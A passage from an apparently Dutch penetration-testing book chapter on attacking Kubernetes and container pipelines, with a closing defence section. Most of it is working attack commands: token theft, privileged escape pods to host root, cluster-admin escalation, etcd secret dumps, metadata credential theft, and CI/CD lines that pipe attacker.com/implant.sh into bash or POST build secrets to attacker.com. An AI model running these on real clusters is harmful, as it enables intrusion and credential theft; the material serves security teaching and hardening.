kube-public en kube-node-lease. Organisaties
gebruiken namespaces om teams, omgevingen of applicaties te scheiden.
Maar let op: namespaces zijn geen beveiligingsgrens. Zonder Network
Policies kan elke pod communiceren met elke andere pod, ongeacht
namespace.
RBAC (Role-Based Access Control) beheert wie wat mag doen in het cluster. Het model:
# Role: definieert permissies binnen een namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: production
name: pod-reader
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "watch", "list"]
---
# ClusterRole: definieert cluster-brede permissies
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: secret-reader
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list"]
---
# RoleBinding: koppelt een Role aan een subject
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-pods
namespace: production
subjects:
- kind: ServiceAccount
name: my-app
namespace: production
roleRef:
kind: Role
name: pod-reader
apiGroup: rbac.authorization.k8s.ioService Accounts zijn identiteiten voor pods. Elke
pod draait onder een service account, en dat account bepaalt welke
API-calls de pod mag maken. Standaard wordt er in elke namespace een
default service account aangemaakt, en standaard wordt het
token van dat account automatisch gemount in elke pod. Dit is een van de
meest misbruikte defaults in Kubernetes.
etcd is de gedistribueerde key-value store waarin de volledige staat van het cluster is opgeslagen. Alles. Secrets, configuraties, RBAC-regels, pod-definities – alles zit in etcd. Wie etcd kan lezen, heeft alles. Wie etcd kan schrijven, is het cluster.
6.7 Kubernetes Enumeration
Vanuit een pod
Je hebt een shell in een Kubernetes pod. Misschien via een kwetsbare webapplicatie, misschien via een container image met een backdoor, misschien via een gelekte kubeconfig. Het maakt niet uit hoe – je bent er. Tijd voor verkenning.
# Stap 1: Bevestig dat je in Kubernetes zit
# Service account token (automatisch gemount in de meeste pods)
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# ca.crt namespace token
# Kubernetes environment variables
env | grep KUBERNETES
# KUBERNETES_SERVICE_HOST=10.96.0.1
# KUBERNETES_SERVICE_PORT=443
# Stap 2: Stel kubectl in (als het beschikbaar is)
# Zo niet, gebruik curl met het service account token
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
export NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# Stap 3: Test API-toegang
# Met kubectl:
kubectl auth can-i --list
# Toont ALLE permissies van het huidige service account
# Met curl:
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods
# Stap 4: Enumerate de namespace
kubectl get pods -n $NAMESPACE
kubectl get services -n $NAMESPACE
kubectl get secrets -n $NAMESPACE
kubectl get configmaps -n $NAMESPACE
kubectl get serviceaccounts -n $NAMESPACE
kubectl get roles -n $NAMESPACE
kubectl get rolebindings -n $NAMESPACE
# Stap 5: Probeer cluster-breed te enumereren
kubectl get namespaces
kubectl get nodes
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get clusterroles
kubectl get clusterrolebindingsIB Tip:
kubectl auth can-i --listis je beste vriend in Kubernetes. Het vertelt je precies wat je huidige service account mag doen. Draai het als eerste commando na het betreden van een pod.
API Server discovery
Als je niet in een pod zit maar op het netwerk, moet je de API server vinden:
# Standaard poorten
nmap -p 6443,8443,8080,443,10250,10255,2379 -sV TARGET_RANGE
# 6443 - Kubernetes API server (standaard HTTPS)
# 8443 - Alternatieve API server poort
# 8080 - API server insecure port (als ingeschakeld -- jackpot)
# 10250 - Kubelet API (HTTPS)
# 10255 - Kubelet read-only (als ingeschakeld)
# 2379 - etcd client port
# 2380 - etcd peer port
# Test unauthenticated API access
curl -sk https://TARGET:6443/api
curl -sk https://TARGET:6443/api/v1
curl -sk https://TARGET:6443/api/v1/namespaces
curl -sk https://TARGET:6443/api/v1/pods
curl -sk https://TARGET:6443/version
# Insecure port (geen authenticatie!)
curl -s http://TARGET:8080/api/v1/pods
# Kubelet API
curl -sk https://TARGET:10250/pods
curl -sk https://TARGET:10250/runningpods
# Kubelet read-only
curl -s http://TARGET:10255/podsDe insecure port (8080) is standaard uitgeschakeld in moderne Kubernetes-versies, maar komt nog regelmatig voor in oudere installaties en development-omgevingen. Als die poort open staat, heb je volledige API-toegang zonder enige authenticatie. Het is het equivalent van een Domain Controller zonder wachtwoord.
Unauthenticated access patterns
# Anonymous auth check
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
--header "Authorization: Bearer invalid"
# Als je een 403 krijgt in plaats van 401: anonymous auth is ingeschakeld
# system:anonymous permissions
kubectl auth can-i --list --as=system:anonymous
# Of via curl (geen auth header):
curl -sk https://TARGET:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-X POST -H "Content-Type: application/json" \
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"namespace":"default","verb":"list","resource":"secrets"}}}'Service account token theft
Service account tokens zijn JWT’s die je kunt decoderen en hergebruiken:
# Decode het token (het is een JWT)
cat /var/run/secrets/kubernetes.io/serviceaccount/token | \
cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Output toont:
# - "sub": het service account (system:serviceaccount:namespace:name)
# - "iss": de issuer (de API server)
# - "exp": expiration (als ingesteld)
# Gebruik het token vanuit een andere machine
kubectl --token="$TOKEN" --server="https://API_SERVER:6443" \
--insecure-skip-tls-verify get pods6.8 Kubernetes Aanvallen
RBAC Escalatie
RBAC in Kubernetes is krachtig, maar complexiteit is de vijand van beveiliging. Sommige permissie-combinaties zijn gevaarlijker dan ze lijken:
# GEVAARLIJK: create pods = code execution
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["create"]
# Wie pods kan aanmaken, kan willekeurige code draaien in het cluster
# GEVAARLIJK: get secrets = credential theft
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list"]
# Alle secrets in de namespace, inclusief service account tokens
# GEVAARLIJK: create/patch rolebindings = privilege escalation
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings", "clusterrolebindings"]
verbs: ["create", "patch"]
# Kan zichzelf cluster-admin maken
# GEVAARLIJK: pods/exec = container shell
rules:
- apiGroups: [""]
resources: ["pods/exec"]
verbs: ["create"]
# Shell in elke pod in de namespaceEscalatie via pod creation
Als je pods kunt aanmaken, kun je een pod starten met willekeurige specificaties:
# Malicious pod die het host-filesysteem mount
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
namespace: default
spec:
containers:
- name: pwned
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-root
mountPath: /host
securityContext:
privileged: true
volumes:
- name: host-root
hostPath:
path: /
type: Directory
hostNetwork: true
hostPID: true
# Optioneel: draai op een specifiek node
# nodeName: master-node# Deploy de malicious pod
kubectl apply -f escape-pod.yaml
# Shell in de pod
kubectl exec -it escape-pod -- /bin/sh
# Chroot naar het host-filesysteem
chroot /host /bin/bash
# Je bent nu root op de Kubernetes node
whoami
# root
hostname
# k8s-worker-01Escalatie via secrets
# Lees alle secrets in de namespace
kubectl get secrets -o yaml
# Secrets zijn base64-encoded (niet versleuteld!)
kubectl get secret my-app-secret -o jsonpath='{.data.password}' | base64 -d
# Lees alle secrets in alle namespaces (als je clusterrol hebt)
kubectl get secrets --all-namespaces -o yaml | grep -A2 "password\|token\|key\|secret"
# Service account tokens van andere service accounts
kubectl get secrets -n kube-system -o yaml | grep -A5 "token"Escalatie via rolebinding manipulation
# Als je rolebindings kunt aanmaken of patchen:
kubectl create clusterrolebinding pwned-admin \
--clusterrole=cluster-admin \
--serviceaccount=default:default
# Nu heeft het default service account cluster-admin rechten
kubectl auth can-i --list
# Resources Verbs
# *.* [*]
# Alles. Je bent God.Pod escape naar node
Naast de eerder besproken container escape-technieken zijn er Kubernetes-specifieke paden:
# hostPID: zie en interact met host processen
apiVersion: v1
kind: Pod
metadata:
name: host-pid-pod
spec:
hostPID: true
containers:
- name: nsenter
image: alpine
command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "--", "/bin/bash"]
securityContext:
privileged: true# hostNetwork: gebruik het netwerk van de host
apiVersion: v1
kind: Pod
metadata:
name: host-net-pod
spec:
hostNetwork: true
containers:
- name: scanner
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]Met hostNetwork: true heeft je pod hetzelfde netwerk als
de host node. Je kunt interne services bereiken, andere nodes scannen,
en verkeer sniffen dat normaal niet toegankelijk is vanuit het
pod-netwerk.
etcd Access
etcd is de schatkamer van Kubernetes. Als je erbij kunt, heb je alles:
# Controleer of etcd bereikbaar is
curl -sk https://ETCD_IP:2379/version
# Als client certificates nodig zijn, zoek ze op de master node:
ls /etc/kubernetes/pki/etcd/
# ca.crt healthcheck-client.crt healthcheck-client.key
# peer.crt peer.key server.crt server.key
# Lees alle secrets uit etcd
ETCDCTL_API=3 etcdctl \
--endpoints=https://ETCD_IP:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
get / --prefix --keys-only | grep secrets
# Dump een specifiek secret
ETCDCTL_API=3 etcdctl \
--endpoints=https://ETCD_IP:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
get /registry/secrets/default/my-secret
# Dump ALLES
ETCDCTL_API=3 etcdctl \
--endpoints=https://ETCD_IP:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
get / --prefixKubernetes secrets in etcd zijn standaard niet
versleuteld – ze zijn base64-encoded. Dat is geen encryptie.
Dat is een encoding die iedereen kan omdraaien. Het verschil tussen
base64-encoding en encryptie is het verschil tussen de deur dichtdoen en
de deur op slot doen. Encryption at rest moet expliciet worden
geconfigureerd via een EncryptionConfiguration.
6.9 Container Network Attacks
Het platte netwerk probleem
Standaard kan in Kubernetes elke pod met elke andere pod communiceren, ongeacht namespace. Er zijn geen firewallregels, geen segmentatie, geen restricties. Het is de middeleeuwse stad zonder muren tussen de wijken, maar dan in containers.
# Vanuit een pod: scan het pod-netwerk
# Het pod CIDR is vaak 10.244.0.0/16 of 10.42.0.0/16
# Controleer via:
ip addr
# Of:
cat /etc/resolv.conf
# De nameserver IP geeft een indicatie van het cluster netwerk
# Scan het pod-netwerk
# (als nmap beschikbaar is of je het kunt uploaden)
nmap -sn 10.244.0.0/16
nmap -p 80,443,8080,3306,5432,6379,27017 10.244.0.0/16
# DNS-based service discovery
# Kubernetes DNS volgt het patroon:
# <service>.<namespace>.svc.cluster.local
nslookup kubernetes.default.svc.cluster.local
nslookup _http._tcp.default.svc.cluster.local SRV
# Enumerate services via DNS
for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}' 2>/dev/null); do
for svc in $(kubectl get services -n $ns -o jsonpath='{.items[*].metadata.name}' 2>/dev/null); do
echo "$svc.$ns.svc.cluster.local"
done
doneService mesh bypass
Service meshes zoals Istio en Linkerd voegen een sidecar proxy toe aan elke pod die verkeer intercepteert en mTLS afdwingt. Maar:
# Bypass 1: Direct communiceren met de applicatie-poort
# De sidecar proxy luistert op 15001 (Istio envoy)
# De applicatie luistert op zijn eigen poort
# Als je IN de pod zit, kun je localhost:APP_PORT direct bereiken
curl http://localhost:8080/api/internal
# Bypass 2: Communiceer via het pod IP in plaats van de service
# mTLS wordt afgedwongen op service-niveau
# Pod-to-pod verkeer kan soms de mesh omzeilen
curl http://POD_IP:APP_PORT/api/internal
# Bypass 3: Init container race condition
# De Istio sidecar wordt gestart als init container
# Als je applicatie sneller start, is er een window zonder mTLSDNS spoofing in het cluster
Kubernetes DNS (CoreDNS) is een kritiek component. Als je het kunt manipuleren, kun je verkeer redirecten:
# Controleer welke DNS-server wordt gebruikt
cat /etc/resolv.conf
# nameserver 10.96.0.10
# search default.svc.cluster.local svc.cluster.local cluster.local
# Als je toegang hebt tot CoreDNS configmap:
kubectl get configmap coredns -n kube-system -o yaml
# Modificeer het DNS om verkeer te redirecten
kubectl edit configmap coredns -n kube-system
# Voeg een custom record toe dat een interne service
# redirect naar je aanvaller-podPod-to-pod aanvallen
# ARP spoofing binnen het pod-netwerk
# (CAP_NET_RAW is standaard beschikbaar!)
apt-get install -y dsniff # of upload arpspoof
arpspoof -i eth0 -t TARGET_POD_IP GATEWAY_IP
# Traffic interception met tcpdump
tcpdump -i eth0 -w capture.pcap
# Metadata service access (cloud-specifiek)
# AWS
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/
# Azure
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"De cloud metadata service is een bijzonder sappig doelwit vanuit een
Kubernetes pod. De metadata service draait op
169.254.169.254 en is bereikbaar vanuit elke pod, tenzij
een Network Policy dit expliciet blokkeert. Via de metadata service kun
je tijdelijke cloud credentials verkrijgen die toegang geven tot de
cloud-omgeving buiten het cluster.
6.10 CI/CD Container Attacks
Image registry poisoning
We hebben dit eerder aangestipt bij registry exploitation, maar in de context van CI/CD wordt het nog gevaarlijker:
# Scenario: je hebt schrijftoegang tot de interne registry
# Stap 1: Identificeer base images die door CI/CD worden gebruikt
# Kijk in Dockerfiles en CI configuraties
grep -r "FROM " /path/to/repos/ | sort -u
# FROM internal-registry.company.com/base/python:3.11
# FROM internal-registry.company.com/base/node:18
# Stap 2: Trojaniseer het base image
docker pull internal-registry.company.com/base/python:3.11
cat > Dockerfile.trojan << 'EOF'
FROM internal-registry.company.com/base/python:3.11
RUN curl -s https://attacker.com/implant.sh | bash
# Of subtieler: voeg een dependency toe die belt naar huis
RUN pip install legit-looking-package
EOF
docker build -f Dockerfile.trojan -t internal-registry.company.com/base/python:3.11 .
docker push internal-registry.company.com/base/python:3.11
# Stap 3: Wacht tot de volgende CI/CD build het gepoisonde image pullt
# Elke applicatie die dit base image gebruikt, is nu gecompromitteerdBuild pipeline compromise
# Voorbeeld: malicious Dockerfile stap in CI
# Een aanvaller die een Dockerfile kan wijzigen in een repo
# kan de build pipeline misbruiken om secrets te exfiltreren
FROM python:3.12-slim
WORKDIR /app
COPY . .
# De volgende regel exfiltreert build-time secrets
RUN --mount=type=secret,id=aws_creds,target=/tmp/creds \
curl -X POST https://attacker.com/collect \
-d @/tmp/creds
RUN pip install -r requirements.txt
CMD ["python", "app.py"]Admission controller bypass
Kubernetes admission controllers (zoals OPA Gatekeeper of Kyverno) valideren pod-specificaties voordat ze worden toegelaten. Maar ze zijn te omzeilen:
# Bypass via ephemeral containers (vaak niet afgedekt door policies)
kubectl debug -it existing-pod --image=alpine --target=main-container
# Bypass via init containers (soms niet gevalideerd)
apiVersion: v1
kind: Pod
metadata:
name: bypass-pod
spec:
initContainers:
- name: init-escape
image: alpine
command: ["/bin/sh", "-c", "cat /run/secrets/kubernetes.io/serviceaccount/token > /shared/token"]
securityContext:
privileged: true # Init container policy niet afgedwongen?
volumeMounts:
- name: shared
mountPath: /shared
containers:
- name: main
image: alpine
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: shared
mountPath: /shared
volumes:
- name: shared
emptyDir: {}Verdedigingsmaatregelen
Het zou onverantwoord zijn om alleen aanvalstechnieken te beschrijven zonder de verdediging te behandelen. Hier is wat daadwerkelijk werkt – en wat niet meer is dan security theater.
Pod Security Standards
Kubernetes Pod Security Standards (PSS) vervangen de oudere PodSecurityPolicies en definiëren drie niveaus:
| Niveau | Beschrijving | Wat het blokkeert |
|---|---|---|
| Privileged | Geen restricties | Niets – alles is toegestaan |
| Baseline | Minimale restricties | Privileged containers, hostNetwork, hostPID, hostIPC |
| Restricted | Maximale restricties | Root user, alle host namespaces, privilege escalation, capabilities |
# Enforcement via namespace labels
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restrictedNetwork Policies
# Default deny all ingress en egress
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
---
# Sta alleen specifiek verkeer toe
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-webapp-to-db
namespace: production
spec:
podSelector:
matchLabels:
app: database
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: webapp
ports:
- protocol: TCP
port: 5432
---
# Blokkeer metadata service (cruciaal in cloud!)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
namespace: production
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32IB Tip: Network Policies werken alleen als de CNI-plugin ze ondersteunt. Calico, Cilium en WeaveNet ondersteunen ze. Flannel doet dat standaard niet. Controleer altijd welke CNI-plugin actief is voordat je aanneemt dat Network Policies worden afgedwongen.
Runtime security: Falco
Falco is een runtime security-tool die syscalls monitort en alerts genereert bij verdacht gedrag:
# Falco regel: detecteer container escape pogingen
- rule: Container Escape via Mount
desc: Detecteer het mounten van het host-filesysteem vanuit een container
condition: >
evt.type = mount and container and
evt.arg.source startswith "/dev/sd"
output: >
Container escape poging gedetecteerd
(user=%user.name container=%container.name
image=%container.image.repository
source=%evt.arg.source)
priority: CRITICAL
- rule: Docker Socket Accessed in Container
desc: Detecteer toegang tot de Docker socket vanuit een container
condition: >
evt.type in (open, openat) and
container and fd.name = /var/run/docker.sock
output: >
Docker socket benaderd vanuit container
(user=%user.name container=%container.name
image=%container.image.repository)
priority: WARNINGImage scanning
# Trivy - vulnerability scanner
trivy image TARGET_IMAGE
trivy image --severity CRITICAL,HIGH TARGET_IMAGE
# Grype
grype TARGET_IMAGE
# Snyk
snyk container test TARGET_IMAGE
# In CI/CD pipeline:
# Blokkeer images met CRITICAL vulnerabilities
trivy image --exit-code 1 --severity CRITICAL TARGET_IMAGEReferentietabel
| Techniek | Categorie | MITRE ATT&CK | Complexiteit |
|---|---|---|---|
| Docker socket escape | Container Escape | T1611 - Escape to Host | Laag |
| Privileged container escape | Container Escape | T1611 | Laag |
| Cgroup release_agent | Container Escape | T1611 | Middel |
| nsenter host escape | Container Escape | T1611 | Laag |
| Kernel exploit (container) | Container Escape | T1068 - Exploitation for Privilege Escalation | Hoog |
| runc overwrite (CVE-2019-5736) | Container Escape | T1611 | Middel |
| Image layer secret extraction | Credential Access | T1552.001 - Credentials In Files | Laag |
| Registry enumeration | Discovery | T1613 - Container and Resource Discovery | Laag |
| Registry image poisoning | Persistence | T1525 - Implant Internal Image | Middel |
| K8s API unauthenticated access | Initial Access | T1190 - Exploit Public-Facing Application | Laag |
| K8s secret theft | Credential Access | T1552.007 - Container API | Laag |
| K8s RBAC escalation | Privilege Escalation | T1078.001 - Default Accounts | Middel |
| K8s pod creation escape | Privilege Escalation | T1610 - Deploy Container | Middel |
| etcd credential dump | Credential Access | T1552.007 | Middel |
| Metadata service abuse | Credential Access | T1552.005 - Cloud Instance Metadata API | Laag |
| DNS spoofing in cluster | Collection | T1557 - Adversary-in-the-Middle | Middel |
| Service mesh bypass | Defense Evasion | T1562.001 - Disable or Modify Tools | Middel |
| Admission controller bypass | Defense Evasion | T1562.001 | Hoog |
| CI/CD base image poisoning | Supply Chain | T1195.002 - Compromise Software Supply Chain | Middel |
| Build pipeline compromise | Execution | T1204.003 - Malicious Image | Middel |
In het volgende hoofdstuk verlaten we de container en kijken we naar het systeem dat die containers bouwt, test en deployt: de CI/CD pipeline. Als containers de cellen zijn in onze digitale gevangenis, dan is de CI/CD pipeline de fabriek die de cellen bouwt. En die fabriek, zo blijkt, heeft zijn eigen deuren en ramen die niet op slot zitten.